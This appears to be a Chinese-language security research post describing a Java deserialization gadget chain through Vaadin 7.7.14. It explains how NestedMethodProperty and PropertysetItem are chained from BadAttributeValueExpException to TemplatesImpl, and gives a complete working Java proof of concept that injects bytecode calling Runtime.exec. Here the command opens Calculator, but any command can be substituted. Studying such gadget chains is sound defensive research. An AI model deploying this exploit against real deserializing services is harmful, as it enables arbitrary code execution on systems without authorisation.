Java-Vaadin1

0x01 前言

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
  <dependencies>  
    <dependency>  
      <groupId>com.vaadin</groupId>  
      <artifactId>vaadin-server</artifactId>  
      <version>7.7.14</version>  
    </dependency>  
  
    <dependency>  
      <groupId>com.vaadin</groupId>  
      <artifactId>vaadin-shared</artifactId>  
      <version>7.7.14</version>  
    </dependency>  
    <dependency>  
      <groupId>org.javassist</groupId>  
      <artifactId>javassist</artifactId>  
      <version>3.29.0-GA</version>  
    </dependency>  
  </dependencies>  

Vaadin 是一个在 Java 后端快速开发 web 应用程序的平台。用 Java 构建可伸缩的 UI,并使用集成的工具、组件和设计系统来更快地迭代、更好地设计和简化开发过程。

0x02 前置知识

NestedMethodProperty
com.vaadin.data.util.NestedMethodProperty类是一个封装访问属性方法的类。构造方法接收两个参数,一个是对象实例,一个是属性值。初始化时调用 initialize方法获取实例类中的相关信息存放在成员变量中。
等到调用NestedMethodPropertygetValue方法时,就会反射调用封装对象指定属性的getter方法
因此这个类又是可以触发 TemplaesImpl 的利用方式
PropertysetItem
触发类com.vaadin.data.util.PropertysetItem,这个类用来存储Property属性值,为其映射一个 id 对象。
数据存放在成员变量 map 中,想要获取相应属性的时,则调用getItemProperty方法在 map 中获取。
映射的 id 对象则存储在成员变量 list 中。
PropertysetItemtoString方法,获取全部 id 对象并遍历,使用getItemProperty方法获取映射的Property属性对象,并调用其getValue方法
使用PropertysetItemtoString方法触发NestedMethodPropertygetValue方法。
触发点选择BadAttributeValueExpException中的readObject方法
构造exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import com.vaadin.data.util.NestedMethodProperty;    
import com.vaadin.data.util.PropertysetItem;    
import javassist.CannotCompileException;    
import javassist.ClassPool;    
import javassist.CtClass;    
import javassist.NotFoundException;    
    
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;    
import javax.management.BadAttributeValueExpException;    
import java.io.*;    
import java.lang.reflect.Field;    
import java.util.Base64;    
import java.util.UUID;    
    
public class Poc {    
    public static void main(String[] args) throws Exception {    
        byte[] code = getTemplates();    
        byte[][] codes = {code};    
        // TemplatesImpl    
        TemplatesImpl templates = new TemplatesImpl();    
        setFieldValue(templates, "_name", "useless");    
        setFieldValue(templates, "_tfactory", null);    
        setFieldValue(templates, "_bytecodes", codes);    
        NestedMethodProperty<Object> nestedMethodProperty = new NestedMethodProperty(templates,"outputProperties");    
        PropertysetItem propertysetItem = new PropertysetItem();    
        propertysetItem.addItemProperty("outputProperties", nestedMethodProperty);    
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);    
        setFieldValue(badAttributeValueExpException,"val",propertysetItem);    
        String payload = serialize(badAttributeValueExpException);    
        unserialize(payload);    
    }    
    
    public static void unserialize(String base) throws IOException, ClassNotFoundException {    
        byte[] result = Base64.getDecoder().decode(base);    
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(result);    
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);    
        objectInputStream.readObject();    
    }    
    
    public static String serialize(Object object) throws IOException {    
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();    
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);    
        objectOutputStream.writeObject(object);    
        return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());    
    }    
    
    public static byte[] getTemplates() throws CannotCompileException, IOException, NotFoundException {    
        ClassPool classPool = ClassPool.getDefault();    
        // 生成一个随机的类名    
        String randomClassName = "Test_" + UUID.randomUUID().toString().replace("-", "");    
        CtClass ctClass = classPool.makeClass(randomClassName);    
        ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));    
        String block = "Runtime.getRuntime().exec(\"open -a Calculator\");";    
        ctClass.makeClassInitializer().insertBefore(block);    
        return ctClass.toBytecode();    
    }    
    
    public static void setFieldValue(Object object, String field, Object arg) throws NoSuchFieldException, IllegalAccessException {    
        Field f = object.getClass().getDeclaredField(field);    
        f.setAccessible(true);    
        f.set(object, arg);    
    }    
    
}  
0%